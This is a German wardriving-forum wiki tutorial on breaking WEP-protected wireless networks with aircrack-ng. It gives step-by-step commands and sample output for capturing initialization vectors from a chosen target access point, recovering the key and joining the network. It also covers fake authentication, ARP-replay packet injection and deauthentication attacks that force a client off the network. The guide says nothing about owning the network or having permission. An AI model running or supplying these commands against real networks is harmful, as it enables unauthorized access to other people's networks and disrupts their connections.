Aircrack-Tutorial/WEP mit Client

Aus Wardriving-Forum.de Enzyklopädie

(Weitergeleitet von Aircrack tut)
Wechseln zu: Navigation, Suche
Haftungsauschluss
Die auf dieser Seite beschriebene Anleitung ist ein gemeinschaftliches Projekt freiwilliger Mitarbeiter nach dem Wiki-Prinzip.
Trotz ständiger Qualitätssicherung ist ein Schaden an deiner Hard- und Software nicht ausgeschlossen, wir übernehmen hierfür keine Haftung.


Dieses Tutorial soll dir einen Überblick über die wichtigsten Funktionen von Aircrack-ng verschaffen und als Leitfaden zu seiner Nutzung dienen. Es gibt beim Entschlüsseln von Wireless-LAN Netzen mehrere effektive Wege das Ziel zu erreichen, jeder von ihnen ist mit unterschiedlichen Methoden und Programmen durchführbar. Je nach Distributionen, Chip und Treibern können eure Ein- und Ausgaben von den in diesem Tutorial abweichen, es wird aber jeder Befehl mit seinen Parametern im Anschluss an seine Verwendung aufgeschlüsselt. Weitere Tutorials sind auf der englischsprachigen Aircrack-ng-Homepage zu finden.


Inhaltsverzeichnis

[Bearbeiten] Voraussetzungen

Dieser Leitfaden ist, so gut er auch aufgebaut und aufgeschlüsselt ist, nicht für Anfänger geeignet. Man sollte sich zunächst mit den folgenden Themen vertraut machen:

  • Die wichtigsten Linux-Befehle als PDF
  • Linksammlung und Erklärung zu verschiedenen GNU/Linux Distributionen findet ihr hier
  • Diese Anleitung richtet sich speziell an Linux Ubuntu Benutzer. Sollte man eine andere Linux Distribution benutzen so sollte man bedenken alle hier gezeigten befehle die mit ´sudo´ anfangen als root auszuführen sind und das ´sudo´ wegzulassen.

[Bearbeiten] Installation

Die meisten Linux Distributionen haben Aircrack-ng schon in ihren Paketquellen integriert, oftmals sind diese Versionen jedoch nicht mehr aktuell. Daher hier kurz eine Anleitung zur Installation der SVN-Version. SVN, auch bekannt als Subversion, ist ein Versionsverwaltungstool für Entwickler. In ihm befindet sich immer die aktuellste Entwicklerversion, meist wenige Stunden oder Tage alt. In seltenen Fällen kann es also sein, dass eine über Subversion geholte Version nicht funktionsfähig ist.

Folgende Pakete müssen Vorinstalliert sein: sudo apt-get install build-essential sudo apt-get install libssl-dev >= 3.3.17 sudo apt-get install libsqlite3-dev >= 3.3.17

Um die SVN-Version herunter laden zu können, benötigen wir zunächst das Programm Subversion selbst. Unter Debian-basierten Distributionen (wie z.B. Ubuntu) geht die Installation folgendermaßen von statten:
$ sudo apt-get install subversion
Dann kann man den aktuellen Sourcecode auschecken. Damit wir diesen Quellcode auch kompilieren können müssen wir noch ein paar Abhängigkeiten auflösen.
$ sudo apt-get install build-essential libssl-dev
Jetzt wo wir alles Nötige haben, können wir mit dem kompilieren anfangen. Wir wechseln zunächst in das Verzeichnis in das wir aircrack-ng geladen haben
$ cd aircrack-ng
und bauen und installieren es über die folgenden Befehle:
$ make
$ sudo make install


Prima. Jetzt kann es losgehen!

[Bearbeiten] Initialisierungsvektoren sammeln

Ein Accesspoint sendet mit jedem Paket einen Initialisierungsvektor aus, diese stellen den Schwachpunkt der WEP-Verschlüsselung dar. Denn sobald man genügen IVs gesammelt hat, ist es möglich, den WEP-Schlüssel zu errechnen. Dieses Beispiel zeigt, wie man die Initialisierungsvektoren mitschneidet:

Als erstes müssen wir unser 'Ziel' finden. Dafür gibt es das Programm airodump-ng, was im Monitor Mode alle Netze auflistet die es finden kann. Es ist wichtig, dass Deine Karte den Monitor Mode unterstützt, da ansonsten keine Pakete aufgefangen werden können. Zuerst muss die Karte in den Monitor Mode geschaltet werden, das funktioniert nach Chip und Treiber verschieden:

Dazu müsst Ihr diesen Befehl eingeben:


$ sudo airmon-ng start wlan0


Bei den Meisten Karten wird ein mon0 Interface erstellt. Dieses Interface müsst ihr nun für alle weiteren befehle benutzen. Hat man einen Adapter, der auf dem Atheros-Chipsatz beruht und die Madwifi Trieber benutzt, stellt wifi0 Euren WLAN-Adapter da. Dazu muss man den folgenden Befehl ausführen.


$ sudo airmon-ng stop ath0
$ sudo airmon-ng start wifi0


Mit „iwconfig“ kann man überprüfen, welcher Modus gerade aktiv ist. Wenn das nun geschafft ist, können wir airodump-ng starten

$ sudo airodump-ng mon0


Die Ausgabe von airodump-ng sollte folgendermaßen aussehen:

CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:0F:B5:3F:4B:2A 42 100 5240 307 3 9 54 WEP WEP wardriving-forum.de

BSSID STATION PWR Lost Packets Probes

00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782

Die erste Zeile der Ausgabe gibt Informationen über den Kanal (CH <1-14>), die vergangene Zeit, sowie die aktuelle Zeit. Im folgenden werden schließlich die gefundenen W-LAN Netze aufgelistet, die Spalte #Data steht für die aufgefangenen Pakete, die in gleicher Anzahl die IVs enthalten. Die Tabelle lässt sich wie folgt aufschlüsseln:

  • BSSID = MAC-Adresse des Access-Point
  • PWR = Signalstärke
  • RXQ = RXQ ist einer von airodump berechneter Wert, das Maximum liegt bei 100
  • Beacons = Daran kann man erkennen ob der Empfang gut oder schlecht ist. Wenn die Zahlen langsam und stockend laufen ist das Signal zu schwach.
  • #Data = Anzahl der aufgefangenen Pakete (und somit auch IV)
  • #/s = Paketanzahl in der Sekunde
  • CH = Kanal des WLAN-Netzes
  • MB = Geschwindigkeit des WLAN-Netzes (in MBit)
  • ENC = Verschlüsselung
  • Cipher =
  • Auth =
  • ESSID = Name des Access-Point, z.B. wardriving-forum.de



Als Tipp ist zu erwähnen, das man Airodump auch mit einem Filter starten kann:


$ sudo airodump-ng --encrypt WEP mon0


Nun werden nur AP's angezeigt die die WEP-Verschlüsseldung verwenden. Dies kann aber für jede Verschlüsselung angepasst werden.



Um nun die besagten IVs zur Weiterverabeitung mitzuschneiden, führt airodump mit den folgenden Parametern aus

$sudo airodump-ng -w <dateiname> -c <1-14> mon0


Wenn man dann sein Ziel ausgewählt hat, kann man speziell auf dessen Pakete horchen.

$sudo airodump-ng -w <dateiname> -c <1-14> --bssid <die Mac adresse des AccessPoint> mon0


Funktionen:

  • -w = Pakete in einer Datei speichern
  • -c = Nur auf speziellem Kanal lauschen
  • --bssid = Nur Pakete von einer spezifischen MAC-Adresse auffangen

Der Befehl airodump-ng --help verrät noch weitere Möglichkeiten.


Jetzt versuchen wir die Daten von unserem gefunden AccessPoint zu sammeln. Wir haben zuvor folgendes herausgefunden:

  • Kanal = 9
  • BSSID = 00:0F:B5:3F:4B:2A

Diese Parameter fügen wir unserer airodump-ng Befehlszeile hinzu

$ sudo airodump-ng -w dateiname -c 9 --bssid 00:0F:B5:3F:4B:2A mon0

Das -w deine_datei ist ziemlich wichtig, denn damit werden alle aufgesammelten Daten in eine Datei gespeichert, die wir später brauchen. Zeitgleich können wir jetzt schon anfangen, mit den gesammelten Daten den Schlüssel zurückzuberechnen.

[Bearbeiten] Cracken

Ab ca. 15.000 Pakete kann man anfangen mit dem Eigentlichen cracken. Meist werden zwischen 15.000 und 100.000 Pakete benötigt.


Dazu öffnet man die mit airodump-ng gespeicherten Pakete mit aircrack-ng

$ aircrack-ng deine_datei.cap

Wobei deine_datei.cap die mit airodump-ng erstellte Datei ist. Wenn man sich nicht sicher ist wie die .cap Datei heißt, hilft ein einfaches "ls" in der Konsole. Wenn man mehrere AccessPoints gesnifft hat, kommt man zu einen Auswahlmenü.

$ aircrack-ng deine_datei.cap

Opening deine_datei.cap
Read 150811 packets.

  1. BSSID ESSID Encryption


1 00:0F:B5:3F:4B:2A wardriving-forum.de WEP (49470 IVs)
2 00:15:E9:18:E1:06 default WEP (34 IVs)

Index number of target network ?

Jetzt muss nartürlich die 1 gedrückt werden, gefolgt von einen Enter. Aircrack-ng fängt jetzt an den Schlüssel zurück zu rechnen.

Je nachdem wie viele IVs man hat und wie lang der Schlüssel ist, dauert es entsprechend. Bei einen Schlüssel von 5 Buchstaben und 20.000 IVs dauert es nur wenige Sekunden um den Schlüssel zurück zu berechnen. Wenn alles geklappt hat meldet Aircrack-ng KEY FOUND!

KEY FOUND! [ 74:65:73:74:31] (ASCII: test1 )
Decrypted correctly: 100%

Aircrack-ng gibt einmal den key in HEX Zeichen aus, und wenn es möglich ist auch in ASCII.

[Bearbeiten] Verbinden

Jetzt kann man die Wlan Karte wieder in Managed Mode bringen,

$ sudo ifconfig mon0 down

$ sudo iwconfig wlan0 mode managed

$ sudo ifconfig wlan0 up

und sich mit dem Wlan verbinden, entweder mit einen beliebigen Network Manager oder über die konsole

$ sudo iwconfig wlan0 essid wardriving-forum.de key 74:65:73:74:31

Wenn auf dem Router ein DHCP-server vorhanden ist (Also man eine automatische IP bekommt) muss die noch angefragt werden

$ sudo dhclient wlan0


[Bearbeiten] Aktive Attacken

[Bearbeiten] Injection

Manchmal kann es ziemlich lange dauern die nötigen Anzahl Pakete zu sammeln, das ist vor allem so wenn der Client nicht aktiv ist. Um dieses Problem zu umgehen machen wir uns die Technik der Packet Injection zu eigen. Damit wird es möglich sein in kurzer Zeit genügend IVs zu generieren um den Netzwerkschlüssel zurück zu berechnen.

[Bearbeiten] Inkompatible Treiber

Es existieren Treiber für W-LAN Devices unter Linux, die nicht jede Attacke ausführen können. Nennenswert ist hier beispielsweise Intels Centrino-Chipsatz 2200BG, der nur die Attacken -2, -3, -4 und -6 nutzen kann.

[Bearbeiten] Registrieren

Damit der AccessPoint die Pakete akzeptiert, die wir ihm senden, muss zuerst unsere MAC Adresse auf dem AccessPoint registriert werden. Wenn wir das nicht machen, ignoriert der AccessPoint unsere Pakete und wir werden keine weiteren Ivs bekommen. Alternativ kann man auch eine MAC von einem bereits vorhandenen Klienten benutzen, da die schon auf dem AccessPoint registriert ist.

Um sich beim AccesPoint zu registrieren, benutzen wir aireplay-ng mit fake authentication
$ sudo aireplay-ng -1 0 -e wardriving-forum.de -a 00:0F:B5:3F:4B:2A -h 00:0F:B5:88:AC:82 mon0


  • -1 bedeutet, dass wir fake authentication machen wollen
  • 0 reassociation timing in seconds
  • -e wardriving-forum.de ist der Netzwerk Name
  • -a 00:0F:B5:3F:4B:2A ist die MAC vom AccesPoint
  • -h 00:0F:B5:88:AC:82 ist die MAC von unserer wlan Karte
  • mon0 ist der Name von unserem Interface
Wenn alles klappt, sollte es so aussehen:
18:18:20 Sending Authentication Request

18:18:20 Authentication successful
18:18:20 Sending Association Request

18:18:20 Association successful :-)


[Bearbeiten] ARP replay

Wenn wir erfolgreich beim AccesPoint registriert sind können wir aireplay-ng in ein Modus versetzten der das WLAN nach ARP-request abhört und sie wieder ins Netz einspeist. ARP-request Pakete werden oft vom AccesPoint wieder zurück gesendet so daß neue IVs erstellt werden. Das ermöglicht uns in kurzer Zeit viele IVs zu sammeln und das Netzwerk so schnell zu knacken. Wir öffnen eine neue Konsole und schreiben folgendes
$ sudo aireplay-ng -3 -b 00:0F:B5:3F:4B:2A -h 00:0F:B5:88:AC:82 mon0


  • -3 ist die Option für ARP replay
  • -b die MAC vom AccesPoint
  • -h unsere MAC
  • mon0 unser Interface
Jetzt fängt aireplay-ng an nach ARP-request zu suchen und sie sofort einzuspeisen. Man bekommt meistens ein ARP-request wenn ein Klient das Netzwerk verbindet, also muss man etwas Geduld haben. Ein erfolgreicher ARP replay sieht so aus
Saving ARP requests in replay_arp-0321-191525.cap

You should also start airodump-ng to capture replies.

Read 629399 packets (got 316283 ARP requests), sent 210955 packets...


Jetzt sollte die „#/s“ Zahl in airodump-ng stark nach oben gehen und wir in wenigen Minuten genug IVs haben um das Netz zu knacken.

[Bearbeiten] Kein ARP-request?

Wenn ein Klient vorhanden ist, aber man kein ARP-request bekommt, kann man versuchen den Klient vom Router abzumelden. Das machen wir mit der --deauth Attacke von aireplay-ng. Wir haben also noch unser airodump-ng offen was fleißig alle Pakete und dazu noch wie oben beschrieben aireplay-ng -3 -b 00:0F:B5:3F:4B:2A -h 00:0F:B5:88:AC:82 wlan0

Das aireplay-ng Fenster sollte so aussehen:
Saving ARP requests in replay_arp-0321-191525.cap

You should also start airodump-ng to capture replies.

Read 25 packets (got 0 ARP requests), sent 0 packets...


Jetzt müssen wir dafür sorgen das sich der Klient vom Router trennt und wieder neu anmeldet damit wir einen ARP-request auffangen können.

$ sudo aireplay-ng -0 5 -a 00:0F:B5:3F:4B:2A -c 00:04:05:06:07:08 mon0


  • -0 5 ist die Option für deauth und das es 5 mal gesendet werden soll
  • -a ist die MAC vom AccesPoint
  • -c ist die MAC vom Klienten
  • mon0 ist das Interface

Wenn alles geklappt hat wird sich der Klient mit dem AccesPoint neu verbinden und wir bekommen ein ARP-request.

[Bearbeiten] Video

Wer dieses Tutorial noch nicht ganz verstanden hat kann sich dieses Video herunterladen und angucken. Da werden die Attacken, die in diesen Tutorial beschrieben werden, praktisch angewandt.

[Bearbeiten] Noch Fragen

Wie oben schon erwähnt kann man mehr Tutorials auf der englischsprachigen Aircrack-ng-Homepage finden. Oder im #aircrack-ng irc channel auf irc.freenode.org

[Bearbeiten] Die Autoren

Idee und geschrieben von Breil und Lord-carlos für das wardriving-forum. Dieses Tutorial darf gerne verlinkt werden, jedoch nicht ohne Nachfrage kopiert werden.

Wir bedanken uns bei HeXagon für den Gobby server, das Wiki und vieles mehr. Und bei Hirte für die technischen Details.